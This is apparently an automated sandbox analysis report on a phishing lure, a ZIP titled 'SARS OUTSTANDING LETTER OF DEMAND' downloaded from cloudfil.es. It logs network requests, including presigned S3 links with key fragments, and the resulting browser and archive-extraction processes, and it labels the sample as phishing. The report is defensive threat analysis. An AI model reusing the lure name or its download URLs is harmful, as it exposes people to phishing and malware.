Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/content-marketing.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/ecm-vs-cms.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/email-attachment.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/buddha-banner.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/cloudfiles-white-logo.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/security/soc2.webp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/security/gdpr.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/security/iso27001.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /icons/twitter.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /icons/linkedin.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /icons/angellist.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /icons/email.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/footer-background.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5/files/download? HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"2a2-av0BRQDyDDKF3yCWJDyA6yEo4sY"
Source: global traffic	HTTP traffic detected: GET /files/632d42032155f034859123fd/dd22dcbe6c19b15128cab3522986d931/SARS%20OUTSTANDING%20LETTER%20OF%20DEMAND.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAUV34ETFBMAVXCJUY%2F20220923%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20220923T061532Z&X-Amz-Expires=3600&X-Amz-Signature=d9703dd406f373ce62dbfbedff0f73ad4c0cc885214c07a12134a97a4d5973c2&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DSARS%20OUTSTANDING%20LETTER%20OF%20DEMAND.zip&origin=cloudfiles-prod-files.s3-accelerate.amazonaws.com&verify=1663914032-Z-BLTuiybx_6ZpFIVuGKAWPkLgtCWto0IUueUfEQXWk HTTP/1.1Host: cloudfil.esConnection: keep-aliveSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyReferer: https://cloudfil.es/ly7mR8utBQ5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5 HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"23d-5m7x852I5e9PUXYs14wIemXqxlk"
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5 HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"23d-5m7x852I5e9PUXYs14wIemXqxlk"
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5/files/download? HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"2a2-DkZgQQ8Wvb7ZctiXmyrtrdlE6Hs"
Source: global traffic	HTTP traffic detected: GET /files/632d42032155f034859123fd/dd22dcbe6c19b15128cab3522986d931/SARS%20OUTSTANDING%20LETTER%20OF%20DEMAND.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAUV34ETFBMAVXCJUY%2F20220923%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20220923T061550Z&X-Amz-Expires=3600&X-Amz-Signature=d89721e8204ffad73fdcaefe35c5f8d4b752d2f28420357921dae2e744c3ba05&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DSARS%20OUTSTANDING%20LETTER%20OF%20DEMAND.zip&origin=cloudfiles-prod-files.s3-accelerate.amazonaws.com&verify=1663914050-dtqk9eTGiOD_uoN_0MvGpFrrQqmRrXkd1wsPPd-VCFM HTTP/1.1Host: cloudfil.esConnection: keep-aliveSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyReferer: https://cloudfil.es/ly7mR8utBQ5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5 HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"23d-5m7x852I5e9PUXYs14wIemXqxlk"
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5/files/download? HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"2a2-ODL6du9cy17E0I+0mLNgTGy9rKM"

Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.3:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.3:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.3:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.3:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.182:443 -> 192.168.2.3:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.19.154.83:443 -> 192.168.2.3:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.19.154.83:443 -> 192.168.2.3:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.3:49958 version: TLS 1.2

Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 12_2_030202C8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 12_2_030202B9
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 17_2_012102C8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 17_2_012102BC
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 20_2_054A02C8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 20_2_054A02B9

Source: C:\Windows\SysWOW64\unarchiver.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1936 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cloudfil.es/ly7mR8utBQ5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3636 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6236 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\oluilyf2.xu4" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\evppz250.yan" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1936 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3636 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6236 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\oluilyf2.xu4" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\evppz250.yan" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5772:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7004:120:WilError_01

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\22e8244c-6e16-464c-801c-35bec625d846.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File created: C:\Users\user\AppData\Local\Temp\unarchiver.log

Jump to behavior

Source: classification engine

Classification label: mal48.phis.win@53/12@49/38

Source: C:\Windows\SysWOW64\unarchiver.exe	Automated click: OK
Source: C:\Windows\SysWOW64\unarchiver.exe	Automated click: OK
Source: C:\Windows\SysWOW64\unarchiver.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Source: C:\Windows\SysWOW64\unarchiver.exe

Code function: 17_2_01210015 pushfd ; retf

Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
